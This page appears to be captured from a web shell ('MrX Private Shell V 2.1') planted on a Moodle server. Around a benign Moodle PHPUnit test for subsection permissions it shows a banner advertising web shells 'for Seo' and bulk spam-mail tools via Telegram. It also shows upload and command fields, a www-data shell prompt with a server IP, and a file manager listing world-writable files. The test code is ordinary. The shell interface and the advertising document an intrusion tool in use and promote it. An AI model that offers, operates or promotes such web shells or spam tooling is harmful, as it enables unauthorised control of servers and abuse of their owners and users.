__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

declare(strict_types=1);

namespace mod_subsection;

use advanced_testcase;
use context_course;

/**
 * Unit tests for the subsection permission class
 *
 * @package     mod_subsection
 * @covers      \mod_subsection\permission
 * @copyright   2024 Mikel Martín <mikel@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class permission_test extends advanced_testcase {

    /**
     * Test that viewing reports list observes capability to do so
     *
     * @param bool $ismoddisabled
     * @param bool $missingcapability
     * @param bool $isdelegated
     * @param bool $maxsectionsreached
     * @param string $format
     * @param bool $expected
     *
     * @dataProvider can_add_subsection_provider
     */
    public function test_can_add_subsection(
        bool $ismoddisabled,
        bool $missingcapability,
        bool $isdelegated,
        bool $maxsectionsreached,
        string $format,
        bool $expected
    ): void {
        global $DB;

        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['format' => $format, 'numsections' => 5]);
        $user = $this->getDataGenerator()->create_and_enrol($course, 'editingteacher');
        $courseformat = course_get_format($course->id);
        $targetsection = $courseformat->get_modinfo()->get_section_info(5);

        $manager = \core_plugin_manager::resolve_plugininfo_class('mod');
        $manager::enable_plugin('subsection', (int)!$ismoddisabled);

        if ($missingcapability) {
            $userrole = $DB->get_field('role', 'id', ['shortname' => 'editingteacher']);
            assign_capability('mod/subsection:addinstance',  CAP_PROHIBIT, $userrole, context_course::instance($course->id));
        }

        if ($maxsectionsreached) {
            set_config('maxsections', 5, 'moodlecourse');
        }

        if ($isdelegated) {
            $this->getDataGenerator()->create_module('subsection', ['course' => $course->id, 'section' => 1]);
            $targetsection = $courseformat->get_modinfo()->get_section_info(6);
        }

        $this->setUser($user);
        $this->assertEquals($expected, permission::can_add_subsection($targetsection, (int)$user->id));
    }

    /**
     * Data provider for {@see self::test_can_add_subsection}
     *
     * @return array[]
     */
    public static function can_add_subsection_provider(): array {
        return [
            'Plugin disabled' => [
                'ismoddisabled' => true,
                'missingcapability' => false,
                'isdelegated' => false,
                'maxsectionsreached' => false,
                'format' => 'topics',
                'expected' => false,
            ],
            'User without capability' => [
                'ismoddisabled' => false,
                'missingcapability' => true,
                'isdelegated' => false,
                'maxsectionsreached' => false,
                'format' => 'topics',
                'expected' => false,
            ],
            'Max sections reached' => [
                'ismoddisabled' => false,
                'missingcapability' => false,
                'isdelegated' => false,
                'maxsectionsreached' => true,
                'format' => 'topics',
                'expected' => false,
            ],
            'Target section is a delegated section' => [
                'ismoddisabled' => false,
                'missingcapability' => false,
                'isdelegated' => true,
                'maxsectionsreached' => false,
                'format' => 'topics',
                'expected' => false,
            ],
            'Format does not support components' => [
                'ismoddisabled' => false,
                'missingcapability' => false,
                'isdelegated' => false,
                'maxsectionsreached' => false,
                'format' => 'singleactivity',
                'expected' => false,
            ],
            'Plugin enabled, with capability, max sections not reached, not inside a delegated section' => [
                'ismoddisabled' => false,
                'missingcapability' => false,
                'isdelegated' => false,
                'maxsectionsreached' => false,
                'format' => 'topics',
                'expected' => true,
            ],
        ];
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
courseformat Folder 0777
generator Folder 0777
manager_test.php File 5 KB 0777
permission_test.php File 4.96 KB 0777
Filemanager